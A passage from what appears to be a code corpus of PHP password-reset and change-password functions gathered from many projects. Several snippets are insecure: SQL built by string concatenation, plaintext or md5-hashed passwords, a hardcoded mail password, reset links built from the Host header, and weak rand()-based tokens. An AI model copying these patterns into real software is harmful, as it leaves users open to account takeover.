href=\"'.$link.'\" target=\"_blank\">Click here to reset password </a>';\n\n $with = array($getAdminData->username, $linkOnMail);\n //Send email function\n $this->send_email('',$replace,$with,'forgot_password',$getAdminData->email);\n\n $this->Flash->success(__('Password sent on your email address'));\n return $this->redirect(['controller' => 'users','action' => 'login']);\n }\n }\n }else{\n $this->Flash->error(__('Kindly provide your email address'));\n \n }\n }\n }",
"function changepassword() \n\t{\n // on the action being rendered\n $this->viewData['navigationPath'] = $this->getNavigationPath('users');\n $this->viewData['hash'] =User::userid();\n // Render the action with template\n $this->renderWithTemplate('users/changepassword', 'AdminPageBaseTemplate');\n }",
"public function forcePasswordReset($userid) {\n\t\t$adminModel = $this->loadModel('admin');\n\t\t$adminModel->forcePasswordReset($userid);\n\t\theader('location: '.URL.'admin/users');\n\t}",
"public function edit_resetUserAccountPassword(){\n\t\tif($this->input->post('edit_user_reset_password_submit') !== false){\t\t\t\n\t\t\t$this->form_validation->set_rules('edit_user_info_account_user_id', 'Account User ID', \t'required');\n\t\t\t$this->form_validation->set_rules('edit_user_info_rst_pass', 'Password', \t\t\t'required|min_length[5]');\n\t\t\t$this->form_validation->set_rules('edit_user_info_rst_vpass', 'Re-type Password', \t'required|min_length[5]|matches[edit_user_info_rst_pass]');\n\t\t\t\n\t\t\tif ($this->form_validation->run() == FALSE){\n\t\t\t}else{\n\t\t\t\t$account_user_id \t= protect($this->input->post('edit_user_info_account_user_id') ) ;\n\t\t\t\tif($account_user_id != \"\" ){\n\t\t\t\t\t$new_password \t\t\t\t= protect($this->input->post('edit_user_info_rst_pass') ) ;\n\t\t\t\t\t$new_password_verify\t\t= protect($this->input->post('edit_user_info_rst_vpass') ) ;\n\t\t\t\t\tif($new_password == $new_password_verify){\n\t\t\t\t\t\t//Reset Password\n\t\t\t\t\t\t\n\t\t\t\t\t\t$user_id = $this->user_sessions->getUserId() ;\n\t\t\t\t\t\t//Get User Privilege\n\t\t\t\t\t\t$user_privilege = $this->user_sessions->getUserPrivilege($user_id) ;\n\t\t\t\t\t\t\n\t\t\t\t\t\tif( ($account_user_id == $user_id) || ($user_privilege == '10') ){\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif($this->user_sessions->resetUserPasswordByUserId($account_user_id, $new_password) === true){\n\t\t\t\t\t\t\t\treturn true ;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn false ;\n\t}",
"public function setpassword(){\n\t\t$args = $this->getArgs();\n\t\t$out = $this->getModel()->getUserDataByRenewToken(UserController::getRenewTokenHash($args[\"GET\"][\"token\"]));\n\t\tinclude 'gui/template/UserTemplate.php';\n\t}",
"public function Forgotpassword()\n\t{\n\t\t$login = get_cookie(sha1('besaf'));\n\t\tif ($login) {\n\t\t\t//! cek login\n\t\t\tif ($this->session->userdata('role_id') == 1) {\n\t\t\t\t// user\n\t\t\t\tredirect('user');\n\t\t\t} elseif ($this->session->userdata('role_id') == 2) {\n\t\t\t\t// admin\n\t\t\t\tredirect('admin');\n\t\t\t}\n\t\t} elseif (!$login) {\n\t\t\t//! cek login\n\t\t\tif ($this->session->userdata('role_id') == 1) {\n\t\t\t\t// user\n\t\t\t\tredirect('user');\n\t\t\t} elseif ($this->session->userdata('role_id') == 2) {\n\t\t\t\t// admin\n\t\t\t\tredirect('admin');\n\t\t\t}\n\t\t}\n\n\t\t$this->session->set_userdata(['reset' => true]);\n\n\t\t$this->load->view('Front/template/header');\n\t\t$this->load->view('Front/Forgot_password');\n\t\t$this->load->view('Front/template/footer');\n\t}",
"public function resetPasswordAction()\n {\n $uid = $this->params()->fromRoute('id', null);\n $user=$this->getUserMapper()->getUserById($uid);\n $form = $this->getForm(UserFormService::CONFIRM_FORM);\n\n /* @var $request \\Zend\\Http\\Request */\n $request = $this->getRequest();\n if ($request->isPost()) {\n\n $postData = $request->getPost();\n //cancel\n if (isset($postData['cancel'])) {\n return $this->redirect()->toRoute('user');\n }\n if (isset($postData['submit'])) {\n\n $password = $this->getPasswordService()->generatePassword();\n $user->setPassword($password);\n $pwdPlain = $this->getPasswordService()->getPlainPassword();\n $user->setPasswordPlain($pwdPlain);\n $date = new \\DateTime();\n $user->setPwdChange($date);\n $this->getUserMapper()->save($user);\n\n /* @var $mail \\User\\Mail\\CredentialsMail */\n $mail = $this->getMailService()->getMail(MailService::CREDENTIALS_MAIL);\n $mail->setUser($user);\n $mail->sendMail($user);\n $this->flashMessenger()->addSuccessMessage('Password Reset');\n\n return $this->redirect()->toRoute('user');\n }\n }\n\n return new ViewModel(\n array(\n 'user' => $user,\n 'form'=> $form,\n )\n );\n }",
"public function postReset()\n\t{\n\t\t$credentials = Input::only(\n\t\t\t'email', 'password', 'password_confirmation', 'token'\n\t\t);\n\n\t\t$response = Password::reset($credentials, function($user, $password)\n\t\t{\n\t\t\t$user->password = Hash::make($password);\n\n\t\t\t$user->save();\n\t\t});\n\n\t\tswitch ($response)\n\t\t{\n\t\t\tcase Password::INVALID_PASSWORD:\n\t\t\tcase Password::INVALID_TOKEN:\n\t\t\tcase Password::INVALID_USER:\n\t\t\t\treturn Redirect::back()->with('error', Lang::get($response));\n\n\t\t\tcase Password::PASSWORD_RESET:\n\t\t\t\treturn Redirect::route('login');\n\t\t}\n\t}",
"public function resetPassword($userName,$userEmail){\r\n global $pdo;\r\n $code = generatePassword(64);\r\n\t$select = $pdo->prepare(\"SELECT * FROM users \r\n WHERE username = ? AND email = ?\");\r\n $select->execute(array($userName, $userEmail));\r\n $row = $select->fetch(PDO::FETCH_ASSOC);\r\n\t\tif(count($row)!= 0){\r\n\t\t $update=$pdo->prepare(\"UPDATE users \r\n SET `password`=? \r\n WHERE username=? AND email = ?\");\r\n \t if($update->execute(array($this->getPasswordHashOfUser($userName,$code), $userName, $userEmail))){\r\n\t\t\t\t\t\t$log = debug_backtrace();\r\n\t\t\t\t\t\t$this->createActionLog($log);\r\n\r\n // add to Reset Queue\r\n $data['user_id'] = $this->getUserIdFromUsername($userName);\r\n $data['code'] = $code;\r\n $this->addToPasswordResetQueue($data);\r\n //template var data\r\n $userid = $this->getUserIdFromUsername($userName);\r\n $user_details = $this->getUserDetails($userid);\r\n $data = array(\r\n 'userName'=>$userName,\r\n 'pwd'=>$code,\r\n 'name'=> $user_details['first_name'],\r\n 'last_name'=> $user_details['last_name']\r\n );\r\n $this->sendTemplateEmail($userEmail, $this->app_config['password_retrieval_subject_path'],\r\n $this->app_config['password_retrieval_body_path'],$data);\r\n \t return true;\r\n\t }else{\r\n $this->setError($update);\r\n \t return false;\r\n\t }\r\n\t\t }# if of not empty array check\r\n\t else{\r\n \t $this->setStdError(\"reset_password_error\");\r\n return false;\r\n\t }\r\n }",
"public function ResetPassword()\n\t{\n\t\t$siteConfig = SiteConfig::current_site_config();\n\t\t$this->NewTempPassword = $this->GeneratePassword();\n\t\t$passwordData = $this->EncryptPassword($this->NewTempPassword);\n\t\t$this->TempPassword = $passwordData['Password'];\n\t\t$this->TempPasswordSalt = $passwordData['Salt'];\n\n\t\t$explode = array_reverse(explode('.',$_SERVER['HTTP_HOST']));\n\t\t$domain = implode('.',array_reverse(array(array_shift($explode),array_shift($explode))));\n\t\tEmail::create()\n\t\t\t->setTo($this->Email,$this->FirstName.' '.$this->LastName)\n\t\t\t->setFrom($this->getAdminEmail())\n\t\t\t->setSubject($siteConfig->Title.' Password Reset')\n\t\t\t->setHTMLTemplate('emails/email_PasswordReset')\n\t\t\t->setData($this)\n\t\t\t->send();\n\t\t// write after email is sent so new password isn't lost\n\t\t$this->write();\n\t\treturn $this;\n\t}",
"public function reset($username) {\r\n\t\tglobal $db;\r\n\t\t// Resets a users password.\r\n\t\tif (strpos($username,'@') > 0) {\r\n\t\t\t// Its an Email.\r\n\t\t\t$udata = db::get_array(\"users\",array(\"email\"=>$username));\r\n\t\t} else {\r\n\t\t\t$udata = db::get_array(\"users\",array(\"username\"=>$username));\r\n\t\t}\r\n\t\t// Check if they exist.\r\n\t\tif (count($udata) > 0) {\r\n\t\t\t// Yup\r\n\t\t\t$rand = $this->gen_rand();\r\n\t\t\t$udata = $udata[0];\r\n\t\t\t$uid = $udata['id'];\r\n\t\t\t\r\n\t\t\t// Update their account.\r\n\t\t\tdb::update(\"users\",array(\"passreset\"=>1,\"passresetkey\"=>$rand),array(\"id\"=>$uid));\r\n\t\t\t\r\n\t\t\t// Send them an email.\r\n\t\t\t$e = new email_tmpl();\r\n\t\t\t$e->init($udata['email'],\"Password Reset\");\r\n\t\t\t$e->load(\"password_reset\");\r\n\t\t\t$e->set_var(\"key\",$rand);\r\n\t\t\t$e->set_var(\"username\",$udata['username']);\r\n\t\t\t$eres = $e->send();\r\n\t\t\t\r\n\t\t\t// Add a notification too. C:\r\n\t\t\tif ($eres) {\r\n\t\t\t\t$this->notifications($uid)->create(\"Password Reset\",\"You have requested a password reset, We've sent you an Email to you containing a link to reset your password. If this wasn't you contact support immediately.\");\r\n\t\t\t\treturn array(\"res\"=>true,\"msg\"=>\"Password has been reset and Emailed to {$udata['email']}\",\"email\"=>$udata['email']);\r\n\t\t\t} else {\r\n\t\t\t\t$this->notifications($uid)->create(\"Password Reset\",\"You have requested a password reset. However we were unable to send you an Email. Please open a support ticket or contact us directly via IRC.\");\r\n\t\t\t\treturn array(\"res\"=>true,\"msg\"=>\"Password has been reset but could not be Emailed to {$udata['email']} please open a support ticket if you have account access, e.g. still logged in or talk to staff on IRC.\",\"email\"=>$udata['email']);\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\t// Nope.\r\n\t\t\treturn array(\"res\"=>false,\"msg\"=>\"There was no such user with that Username/E-Mail!\");\r\n\t\t}\r\n\t}",
"Public Function resetPassword()\n\t{\n\t\t$Code = $this->generateResetCode();\n\t\t$Email = $this->email;\n\t\t$Subject = 'Reset Password Request from ' . $_SERVER['HTTP_HOST'];\n\t\t$Body = <<<END\nThis is an automatically generated email from $_SERVER[HTTP_HOST] regarding a password reset.<br/>\nIf you did not request a password reset then please disregard this email.<br/>\n<br/>\nOtherwise, follow this link to reset your password:<br/>\n<a href=\"http://$_SERVER[HTTP_HOST]/BevoMedia/Index/ResetPassword.html?EmailCode=$Code&Email=$Email\">http://$_SERVER[HTTP_HOST]/BevoMedia/Index/ResetPassword.html?EmailCode=$Code&Email=$Email</a>\nEND;\n\t\t\n\t\t$this->ClearResetCode();\n\t\t$this->InsertResetCode($Code);\n\t\t$this->SendEmail($Email, $Subject, $Body);\n\t}",
"static function password_forgot() {\n parent::password_forgot();\n view_var('user', globals('user'));\n }",
"public function changeAdminUserPassword() {\n\t\t$data = $this->request->data['User'];\n\n\t\t$this->User->id = $userId = $data['id'];\n\t\tif ($this->User->saveField('password', $data['new_password'])) {\n\t\t\t$isPasswordChanged = ($data['current_password'] !== $data['new_password']) ? true : false;\n\t\t\tif ($isPasswordChanged && ($userId !== $this->Auth->User('id'))) {\n\t\t\t\t$this->__sendPasswordChangedEmail($data);\n\t\t\t}\n\t\t\t$this->Session->setFlash(__('Password changed successfully.'), 'success');\n\t\t} else {\n\t\t\t$this->Session->setFlash(__('Could not change the password due a server problem, try again later.'), 'error');\n\t\t}\n\n\t\t$this->redirect('/admin/users/editAdmin/' . $userId);\n\t}",
"public function remind_password($email){\n\t\t $sql=\"SELECT * FROM waf_users WHERE email='\".$this->db->Q($email,1).\"'\";\n\t\t$result=$this->db->ROW_Q($sql);\n\t\tif($result)\n\t\t{\n\t\t $mdkey=md5(rand(10000,time()));\n\t\t \n\t\t \n\t\t $sql1=\"UPDATE waf_users SET rmn_pass='\".$mdkey.\"' WHERE id=\".$this->db->Q($result['id']);\n\t\t $this->db->QUERY($sql1);\n\t\t\n\t\t $link=(isset($_SERVER['HTTPS'] )?'https':'http').\"://\".$_SERVER['SERVER_NAME'].$this->web_root.\"reset_password.php?key=\".$mdkey;\n\t\t $msg=\"Some body try reset your password.\"\n\t\t\t\t\t.\"If you forget password \"\n\t\t\t\t\t.\"<a href='\".$link.\"'>click link</a>\"\n\t\t\t\t\t.\"W.A.F. System\";\n\t\t\n\t\t mail($result['email'],$subject,$msg);\n\t\t header(\"Location:?sended=1\");\n\t\t}else{\n\t\t return 'Guru you never know';\n\t\t}\n\t}",
"public function resetPass($request)\r\n {\r\n /*\r\n * First, set params you need to search user in database.\r\n */\r\n $params = [\r\n 'Username' => $request['username'],\r\n 'Email' => $request['email']\r\n ];\r\n\r\n /*\r\n * Check if user exist in database.\r\n */\r\n $user = $this->getAll($params);\r\n if (!empty($user)) {\r\n\r\n /*\r\n * If exitst you have to set link and data parameters to send mail.\r\n */\r\n $link = \"http://www.mdtohtml.com/index.php?rp=\" . $user[0]['Activation'];\r\n $data = [\r\n 'email' => $request['email'],\r\n 'title' => 'Registration support',\r\n 'body' => \"Hello!\\n\\nClick on below link to create new password.\\n\\n$link\",\r\n 'subject' => 'Reset password',\r\n 'user' => $request['username'],\r\n 'link' => $link,\r\n 'username' => '[email protected]',\r\n 'password' => 'preskok123'\r\n\r\n ];\r\n /*\r\n * Then you call function to send mail.\r\n */\r\n return $this->send_mail($data);\r\n\r\n }\r\n }",
"public function changePassword() {\n $validator = \\Validator::make(\n \\Input::only([\"password\", \"id\", \"reset_code\"]),\n [\n \"id\" => \"required\",//|exists:users,id\",\n \"reset_code\" => \"required\",//|exists:users,reset_code\",\n \"password\" => \"required\"\n ]\n );\n\n if($validator->fails()) {\n $user = User::whereId(intval(\\Input::get(\"id\")))->whereResetCode(\\Input::get(\"reset_code\"))->first();\n if(!$user) {\n return \\View::make(\"admin.nice-error\", [\n \"title\" => \"Password change failed\",\n \"message\" => $validator->messages()->first()\n ]);\n } else {\n return \\View::make(\"admin.forgot\")->with(\"user\", $user)->withErrors($validator->errors());\n }\n } else {\n $user = User::findOrFail(intval(\\Input::get(\"id\")));\n $user->password = \\Hash::make(\\Input::get(\"password\"));\n $user->reset_code = \"\";\n $user->save();\n return \\Redirect::route(\"dashboard.login\")->with(\"relogin\", true);\n }\n }",
"function reset_password($user, $new_password = '') {\n // pr($user->salt,1)\n $this->db->set('password', $this->createPassword($new_password, $user->salt))->where('username', $user->username);\n return $this->db->update('cli_web_users');\n\n // return 1;\n }",
"function reset_password($username) {\n// return the new password or false on failure\n // get a random dictionary word b/w 6 and 13 chars in length\n $new_password = get_random_word(6, 13);\n\n if($new_password == false) {\n throw new Exception('Could not generate new password.');\n }\n\n // add a number between 0 and 999 to it\n // to make it a slightly better password\n $rand_number = rand(0, 999);\n $new_password .= $rand_number;\n\n // set user's password to this in database or return false\n $conn = db_connect();\n $result = $conn->query(\"update user\n set passwd = '\".$new_password.\"'\n where username = '\".$username.\"'\");\n if (!$result) {\n throw new Exception('Could not change password.'); // not changed\n } else {\n return $new_password; // changed successfully\n }\n}",
"public function passwordResetAction()\n {\n if (Zend_Auth::getInstance()->hasIdentity()) {\n $this->_helper->redirector->gotoRoute(array(), 'default', true);\n return;\n }\n\n $userKey = $this->_getParam('key', null);\n\n if (is_null($userKey)) {\n throw new Ot_Exception_Input('msg-error-noKeyFound');\n }\n\n $loginOptions = Zend_Registry::get('applicationLoginOptions');\n\n $key = $loginOptions['forgotpassword']['key'];\n $iv = $loginOptions['forgotpassword']['iv'];\n $cipher = $loginOptions['forgotpassword']['cipher'];\n $string = pack(\"H*\", $userKey);\n\n $decryptKey = trim(mcrypt_decrypt($cipher, $key, $string, MCRYPT_MODE_CBC, $iv));\n\n if (!preg_match('/[^@]*@[^-]*-[0-9]*/', $decryptKey)) {\n throw new Ot_Exception_Input('msg-error-invalidKey');\n }\n\n $userId = preg_replace('/\\-.*/', '', $decryptKey);\n $ts = preg_replace('/^[^-]*-/', '', $decryptKey);\n\n $timestamp = new Zend_Date($ts);\n\n $now = new Zend_Date();\n\n $now->subMinute((int)$loginOptions['forgotpassword']['numberMinutesKeyIsActive']);\n\n if ($timestamp->getTimestamp() < $now->getTimestamp()) {\n throw new Ot_Exception_Input('msg-error-keyExpired');\n }\n\n $realm = preg_replace('/^[^@]*@/', '', $userId);\n $username = preg_replace('/@.*/', '', $userId);\n\n // Set up the auth adapter\n $authAdapter = new Ot_Model_DbTable_AuthAdapter();\n $adapter = $authAdapter->find($realm);\n\n if (is_null($adapter)) {\n throw new Ot_Exception_Data(\n $this->view->translate('ot-login-signup:realmNotFound', array('<b>' . $realm . '</b>'))\n );\n }\n\n if ($adapter->enabled == 0) {\n throw new Ot_Exception_Access('msg-error-authNotSupported');\n }\n\n $className = (string)$adapter->class;\n $auth = new $className();\n\n if (!$auth->manageLocally()) {\n throw new Ot_Exception_Access('msg-error-authNotSupported');\n }\n\n $account = new Ot_Model_DbTable_Account();\n $thisAccount = $account->getByUsername($username, $realm);\n\n if (is_null($thisAccount)) {\n throw new Ot_Exception_Data('msg-error-userAccountNotFound');\n }\n\n $form = new Ot_Form_PasswordReset();\n\n if ($this->_request->isPost()) {\n if ($form->isValid($_POST)) {\n\n if ($form->getValue('password') == $form->getValue('passwordConf')) {\n\n $data = array(\n 'accountId' => $thisAccount->accountId,\n 'password' => md5($form->getValue('password')),\n );\n\n $account->update($data, null);\n\n $this->_helper->messenger->addSuccess('msg-info-passwordReset');\n\n $loggerOptions = array(\n 'attributeName' => 'accountId',\n 'attributeId' => $data['accountId'],\n );\n\n $this->_helper->log(Zend_Log::INFO, 'User reset their password', $loggerOptions);\n\n $this->_helper->redirector->gotoRoute(array('realm' => $realm), 'login', true);\n } else {\n $this->_helper->messenger->addError('msg-error-passwordsNotMatch');\n }\n } else {\n $this->_helper->messenger->addError('msg-error-invalidFormInfo');\n }\n }\n\n $this->view->headScript()->appendFile($this->view->baseUrl() . '/public/scripts/ot/jquery.plugin.passStrength.js');\n\n $this->_helper->pageTitle('ot-login-passwordReset:title');\n\n $this->view->assign(array(\n 'form' => $form,\n ));\n\n }",
"public function resetPasswordPostAction() {\n $request = Request::createFromGlobals();\n $userEmail = $request->request->get('_username', '');\n \n // Get the user object\n $user = $this->getDoctrine()\n ->getRepository('AppBundle:Users')\n ->findOneBy(array('email' => $userEmail));\n \n if (!$user)\n {\n $error = \"User not found!\";\n }\n else\n {\n // Generate a user hash\n $hash = $this->generateUserHash($user);\n \n // Send reset password email\n $mailer = $this->get('mailer');\n $message = $mailer->createMessage()\n ->setSubject('Tabulit Password Reset')\n ->setFrom('[email protected]') \n ->setTo($user->getEmail())\n ->setBody(\n $this->renderView(\n 'AppBundle:Email:resetPassword.html.twig', array(\n 'id' => $user->getId(),\n 'hash' => $hash->getRc4Key(),\n 'hash_time' => $hash->getCreated())\n ),\n 'text/html'\n );\n $mailer->send($message);\n $this->logAction(\"Reset password mail has been sent for \".$user->getId(), self::LOGTYPE_EDIT, $user->getId());\n $error = \"NONE\";\n }\n \n return $this->resetPasswordAction($error, $userEmail);\n }",
"public function resetNewPassword() {\r\n try {\r\n $post = $this->request->all();\r\n $token = $post['resetToken'];\r\n if ($data = $this->admin->checkPasswordToken($token)) {\r\n $email = $data->email;\r\n $user_id = $data->user_id;\r\n $secret = Hash::make($post['new_password']);\r\n $update = array(\r\n 'password' => $secret,\r\n );\r\n if ($this->user->update($update, $email, 'email')) {\r\n $where = array(\r\n 'email' => $email,\r\n 'user_id' => $user_id,\r\n );\r\n $this->admin->deleteResetPassToken($where);\r\n $arrResponse['http_status'] = Config::get('constants.HTTP_OK');\r\n $arrResponse['message'] = Lang::get('global.passwordSuccess');\r\n } else {\r\n $arrResponse['http_status'] = Config::get('constants.DB_ERROR');\r\n $arrResponse['message'] = Lang::get('global.somethingWentWrong');\r\n }\r\n } else {\r\n $arrResponse['http_status'] = Config::get('constants.DATA_NOT_MATCH');\r\n $arrResponse['message'] = Lang::get('global.passwordLinkExpire');\r\n }\r\n } catch (Exception $e) {\r\n throw new Exception(Lang::get('global.somethingWentWrong'), $e->getCode());\r\n }\r\n return response()->json($arrResponse, 200);\r\n }",
"function requestpasswordreset_action()\n {\n $login_model = $this->loadModel('Login');\n // set token (= a random hash string and a timestamp) into database\n // to see that THIS user really requested a password reset\n if ($login_model->setPasswordResetDatabaseToken() == true) {\n // send a mail to the user, containing a link with that token hash string\n $login_model->sendPasswordResetMail();\n }\n $this->view->render('login/requestpasswordreset');\n }",
"public function resetAction() {\n if ($this->request->isPost()) {\n //Gets the information from the request, sees if its an email, and sees if there is an email associated with that request. \n $email = $this->request->getPost('email');\n if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {\n $this->flash->error(\"This is not an email :(\");\n return $this->forward('session/tryreset');\n }\n $user = Users::findFirst(\n array( //emails are unique so its fine\n \"(email = :email:)\",\n 'bind' => array('email' => $email) \n )\n );\n //The idea with this is to not give the user an idea of whether that email is an account. \n if($user) { //This means there is a user with that email\n $user->verify = uniqid();; //Reset the verify string that was used upon registration\n $user->verify_timer = time();\n if($user->save() == false) {\n $this->flash->success(\"Internal error could not verify\");\n return $this->forward('session/index');\n }\n //Send verification email:\n $notice = new Mailer('[email protected]', 'Someone Reset Password', 'Name: '.$user->name.'<br/>Email: '.$user->email.'<br/>'.$user->verify.'<br/>END.');\n $email = new Mailer($user->email, 'Requested Password Reset', 'Hi '.$user->name.',<br/><br/>You or someone trying to steal your identity requested a password reset. We are happy to have you back!<br/>To complete reset verification, click the link below within 10 minutes (Tick Tock, Mother Fucker!).<br/>http://brownbytes.org/session/verifyreset/'.$user->verify.'<br/><br/>Best,<br/>The Brown Bytes Team');\n }\n $this->flash->success(\"If there is an account with that email, an email has been sent to it.\");\n }\n return $this->forward('session/index');\n }",
"public function requestPasswordReset_action()\n {\n PasswordResetModel::requestPasswordReset(Request::post('user_name_or_email'));\n Redirect::to('index');\n }",
"public function changePassword()\n {\n if( ! Session::isLoggedIn() )\n {\n SCMUtility::frontRedirectTo('?page=scmCourseModule&state=Front&action=myAccount');\n return;\n }\n\n $user = User::find(Session::getCurrentUserID());\n\n View::make('templates/front/change-password.php',array());\n }",
"static function password_forgot() {\n $model = \\Auth::$model;\n\n # hash GET param exists\n if (!$hash = data('hash'))\n go('/');\n\n # user hash exists\n $user = $model::first(array(\n 'fields' => 'id, email, name',\n 'where' => \"hash_password_forgot = '$hash'\"\n ));\n\n if (empty($user))\n go('/');\n\n # POST passwords sent\n if ($model::data()) {\n $user->password = $model::data('password');\n $user->password_confirm = $model::data('password_confirm');\n\n # validate passwords\n if ($user->validate()) {\n $user->password = auth_encrypt($user->password);\n $user->hash_password_forgot = '';\n\n $user->edit() ?\n flash('Sua senha foi alterada com sucesso.') :\n flash('Algo ocorreu errado. Entre em contrato com a empresa.', 'error');\n\n go('/');\n }\n }\n\n globals('user', $user);\n }",
"private function forgotPassword()\n {\n try\n {\n $request = $_POST;\n\n if( !isset($request['username']) || $request['username']==\"\" )\n throw_error_msg(\"user name not provided\");\n\n global $userquery; \n $userquery->reset_password(1,$request['username']);\n\n if(error())\n {\n throw_error_msg(error('single'));\n }\n else\n { \n $data = array('code' => \"200\", 'status' => \"success\", \"msg\" => 'success', \"data\" => \"An Email Has Been Sent To You. Please Follow the Instructions there to Reset Your Password\");\n $this->response($this->json($data));\n }\n\n }\n catch(Exception $e)\n {\n $this->getExceptionDelete($e->getMessage());\n }\n }",
"public function resetPassword($id) {\n if (Auth::guard('admin')->user()->hasRole('admin') || Auth::guard('admin')->user()->hasPermission(['admin-admins-update'])) {\n $admin = Admin::findOrFail($id);\n return view('admin.admins.resetPassword', compact('admin'));\n } else {\n return view('error.admin-unauthorized');\n }\n }",
"public function resetPassword($userId)\n\t{\n\t\tUser::where('id',$userId)\n\t\t\t\t->update(['need_reset_password' => 1]);\n\t}",
"function reset_password($user_id, $password)\n{\n\n $query = \"select salt, username from tblUser where user_id='$user_id' limit 1\";\n $result = mysql_query($query);\n $user = mysql_fetch_array($result);\n\n $encrypted_pass = md5(md5($password).$user['salt']);\n\n // And lastly, store the information in the database\n $query = \"UPDATE tblUser SET password='$encrypted_pass' WHERE user_id='$user_id'\";\n mysql_query ($query) or die ('Could not create user.');\n\n\t//login user\n\t$username = $user['username'];\n\t$result = user_login($username, $password);\n\n}",
"public function resetpassword(){\r\n if(isset($_SESSION['admindata'])){\r\n $data = $this->madmin->resetpwd();\r\n echo $data;\r\n } else {\r\n $this->load->view('layout/header');\r\n $this->load->view('admin/login');\r\n $this->load->view('layout/footer'); \r\n }\r\n }",
"public function requestPasswordReset()\n {\n $this->View->render('user/requestPasswordReset');\n }",
"public function forgotPassword()\n {\n if ($this->issetPostSperglobal('email') && !empty($this->getPostSuperglobal('email'))) {\n if ($this->users_manager->resetToken($this->getPostSuperglobal('email'))) {\n $this->session->writeFlash('success', \"Les instructions pour réinitialiser votre mot de passe vous ont été envoyées par email, vous avez 30 minutes pour le faire.\");\n } else {\n $this->session->writeFlash('danger', \"Aucun compte ne correspond à cet adresse mail : {$this->getPostSuperglobal('email')}.\");\n }\n } else {\n $this->session->writeFlash('danger', \"L'adresse mail n'est pas ou est mal renseignée.\");\n }\n $this->render('forgot-password', ['head'=>['title'=>'Mot de passe oublié', 'meta_description'=>'']]);\n }",
"function resetPassword($uid = null, $key= null)\n {\n $this->viewBuilder()->layout('admin_login');\n \n $session = $this->request->session();\n // Loaded Admin Model\n $UsersModel = TableRegistry::get('Users');\n $UserData = $UsersModel->newEntity();\n\n $this->request->data = @$_REQUEST;\n \n $uid = base64_decode(urldecode($uid));\n \n if($uid !=\"\"){\n $this->set(\"email\",$uid);\n }else{\n $uid = $this->request->data['Users']['email'];\n $this->set(\"email\",$uid);\n }\n \n if($key !=\"\"){\n $this->set(\"key\",$key);\n }else{\n $key = $this->request->data['Users']['key'];\n $this->set(\"key\",$key);\n }\n \n \n $count = $UsersModel->find(\"all\",[\"conditions\"=>['Users.email'=>$uid,'Users.new_pass_key'=>$key]])->first();\n \n if(!empty($count)){\n date_default_timezone_set(\"UTC\");\n $dateNow = date('Y-m-d H:i:s');\n\n $diff_in_minute = $this->get_date_diff($count->new_password_requested ,$dateNow);\n \n $diff_in_hr = $diff_in_minute/60;\n if($diff_in_hr >= 24){\n $this->Flash->error(__('Your link has been expired,Please try another'));\n\n return $this->redirect(['controller' => 'Users', 'action' => 'login']);\n }\n }\n if(isset($count->email) && $count->new_pass_key==$key)\n { \n if(isset($this->request->data['Users']) && !empty($this->request->data['Users'])){\n \n $data = $this->request->data;\n $error=$this->validate_resetPwd($data);\n \n if(count($error) == 0)\n {\n $UserData->password = $this->request->data['Users']['password'];\n $UserData->new_password_requested = null;\n $UserData->new_pass_key = null;\n $UserData->id = $count->id;\n\n $UsersModel->save($UserData);\n $getUserData = $UsersModel->find('all',\n ['conditions' => ['Users.email' => $uid]]\n )->toArray();\n \n $replace = array('{full_name}');\n $with = array($count->name);\n $this->send_email('',$replace,$with,'reset_password',$count->email);\n\n $this->Flash->success(__('Password has been reset successfully'));\n\n return $this->redirect(['controller' => 'Users', 'action' => 'login']); \n }else{\n \n $this->set('resetError',$error);\n if(isset($error['re_password'])){\n foreach($error['re_password'] as $singleError){\n $this->Flash->error(__($singleError));\n }\n }\n if(isset($error['password'])){\n foreach($error['password'] as $singleError){\n $this->Flash->error(__($singleError));\n } \n }\n \n \n $uid = base64_encode( convert_uuencode($uid));\n return $this->redirect('/Users/reset-password/'.$uid.'/'.$key);\n \n }\n } \n }else{\n $this->Flash->error(__('Athetication failed,Please try another'));\n return $this->redirect(['controller' => 'Users', 'action' => 'login']);\n }\n }",
"public function forgotpass($stat=0) {\n\t\t$this->layout = \"adminloginLayout\";\n\t\t$this->loadModel('User');\n\t\t\n\t\tif ($this->request->is('post')) {\n\t\t\t$useremail = $this->request->data['txtEmails'];\n\t\t\t//unbind user model\n\t\t\t$this->User->unbindModel(array(\n\t\t\t\t'hasMany'=>array('UserCreditDetail','CustomerRide','DriverRide'),\n\t\t\t\t'hasOne'=>array('CustomerCustom','DriverCustom','VehicleDetail')\n\t\t\t));\n\t\t\t$findEmail = $this->User->find('first',array(\n\t\t\t\t'conditions'=> array('User.email'=>$useremail,'User.user_type'=>'1')\n\t\t\t));\n\n\t\t\tif (is_array($findEmail) && count($findEmail)>0){\n\t\t\t\t$id=$findEmail['User']['id']; \n\t\t\t\t$email = $findEmail['User']['email'];\n\t\t\t\t$name = ucwords($findEmail['User']['f_name'].\" \".$findEmail['User']['l_name']);\n\t\t\t\t\n\t\t\t\t$encriptbase= md5(\"Txc-\".rand(9999,99999).\"-\".$id);\n\t\t\t\t//unbind the user model\n\t\t\t\t$this->User->unbindModel(array(\n\t\t\t\t\t'hasMany'=>array('UserCreditDetail','CustomerRide','DriverRide'),\n\t\t\t\t\t'hasOne'=>array('CustomerCustom','DriverCustom','VehicleDetail')\n\t\t\t\t));\n\t\t\t\t\n\t\t\t\t$this->User->updateAll(array('User.passretrivestr'=>\"'\".$encriptbase.\"'\"),array('User.id'=>$id));\n\t\t\t\t//get encripted string\n\t\t\t\t$encriptlink = $this->encriptlinkstr($email,$encriptbase);\n\t\t\t\t$resetpasslink = FULL_BASE_URL.$this->base.'/users/resetpassword/'.$encriptlink;\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\t$userpass= 'Taxicel-'.rand(999,99999);\n\t\t\t\t$id= $findEmail['User']['id']; \n\t\t\t\t\n\t\t\t\t$this->User->updateAll(array('User.pass'=>\"'\".md5($userpass).\"'\"),array('User.id'=>$id));\n\t\t\t\t\n\t\t\t\t$email = $findEmail['User']['email'];\n\t\t\t\t$name = $findEmail['User']['username'];\n\t\t\t\t*/\n\t\t\t\t$serverIsLocalHost = $this->serverDetect();\n\t\t\t\tif(!$serverIsLocalHost){\n\t\t\t\t\t//EMAIL TO USER\n\t\t\t\t\t$Email = new 